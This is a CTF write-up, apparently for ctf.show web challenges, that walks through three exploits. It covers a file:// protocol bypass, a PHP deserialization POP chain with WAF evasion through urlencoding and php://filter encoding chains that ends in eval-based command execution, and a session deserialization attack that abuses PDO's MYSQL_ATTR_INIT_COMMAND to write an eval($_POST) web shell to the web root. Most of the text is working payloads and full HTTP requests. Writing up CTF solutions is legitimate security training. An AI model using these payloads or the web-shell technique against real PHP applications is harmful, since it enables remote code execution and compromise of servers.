Table of contents
There are a total of 5 questions on the web, and I answered 3 questions. Coincidentally, it seems that the masters only answered 3 questions. It is still very happy to get the flag during the New Year. I will post my own wp directly below.
①easy_include
pearcmd does not explain
The main thing here is that the file:// protocol supports accessing server files in the form of file://localhost/etc/hosts to bypass the restriction that the beginning must be a letter.
②easy_web
Code audit, the general idea is to implement the eval function RCE in the class Chu0_write class by constructing a pop chain
First, the parameter passed is show_show.show. The PHP variable name can only be numbers, letters and underscores. The passed variable name will convert symbols such as +,.,[ into _. If there is a . symbol in the variable, you can replace the _ with [ , characters after will not be replaced with _
The parameters of the construction are show[show.show
There are two wafs
The first waf1 is bypassed with urlencode, that is, no alphabetic characters will appear. Note that $_REQUEST is used for waf judgment. The order of requests: GET < POST, so the idea of bypassing only needs to POST the corresponding number of the same parameter at the same time, that is Can be bypassed%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=1&chu0=1&name=1&cmd=1
The second waf2 cannot show show, so use base64-encode --> utf-8 -> utf-16 --> convert.quoted-printable-decode to bypass it. We write a script
$content='ctfshowshowshowwww'.$_GET['chu0'];
The chu0 parameter needs to be passed to system, follow the following script
<?php
$b ='system';
$payload = iconv('utf-8', 'utf-16', base64_encode($b));
file_put_contents('payload.txt', quoted_printable_encode($payload));
$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
echo $s;
After running, we get c=003=00l=00z=00d=00G=00V=00t=00
Now let’s construct the serialization chain
First of all, there is a throw new Exception("fastfast"); in the __wakeup() method, which forces GC recycling and causes the __destruct magic method to not work and other magic methods cannot be triggered.
Use array bypass. For details, see ctfshow The Third Fool's Cup easy_php_Fool's Cup 3rd [easy_php]-CSDN Blog 's ctfshow The Third Fool's Cup easy_php
<?php
highlight_file(__file__);
class ctf{
public $h1;
public $h2;
public function __wakeup(){
throw new Exception("fastfast");
}
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}
public function __toString(){
echo "__toString"."<br>";
if ($this->chu0===$this->chu1){
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
file_put_contents("ctfw.txt","");
}
return "Go on";
}
}
$a = new ArrayObject;
$a -> a = new ctf;
$a ->a->h1=new show();
$a ->a->h2=new Chu0_write();
echo serialize($a);
Finally, the O in the payload is changed to C, and we get
C:11:"ArrayObject":164:{x:i:0;a:1:{s:9:"gxngxngxn";O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:1:{i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}};m:a:0:{}}
The Cmd parameter is env, and the flag is in the environment variable
The final payload is as follows:
POST /?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&chu0=c=003=00l=00z=00d=00G=00V=00t=00&name=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8/convert.base64-decode/resource=ctfw&cmd=env HTTP/1.1
Host: 935263de-7c5b-4e7d-9528-c32add0787dc.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=1&chu0=1&name=1&cmd=1
③easy_login
View common.php and index.php
There is a file writing operation in the userLogger class of the common.php file. Assuming that we can deserialize and change the class attributes, we can write to the file getshell
The question source code has many classes and does not have the deserialization function unserialize(), but the session (index.php) is enabled, and there is a session operation in the application::getLoginName() method (common.php). Session deserialization can be performed here.
Register an account with the username Jay|17 and get the user cookie. Cookies must be brought when sending out packages for subsequent operations. Then log in (do_login).
Cookie:user=Jay%7C17%7Cf1d7cd28dc915e876179dcce95e6c8c1
Construct a serialized string:
<?php
session_start();
class mysql_helper
{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';"
);
}
class application
{
public $mysql;
public $debug = true;
public function __construct()
{
$this->mysql = new mysql_helper();
}
}
$a = new application();
echo urlencode(serialize($a));
get
O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba% 3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into +outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D
payload: (remember to bring cookies)
GET:/index.php?action=hahaha&token=user|O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D
POST:username=Jay%7C17&password=123456
Access 1.php, you can see phpinfo, indicating that the writing is successful and executed, and getshell starts.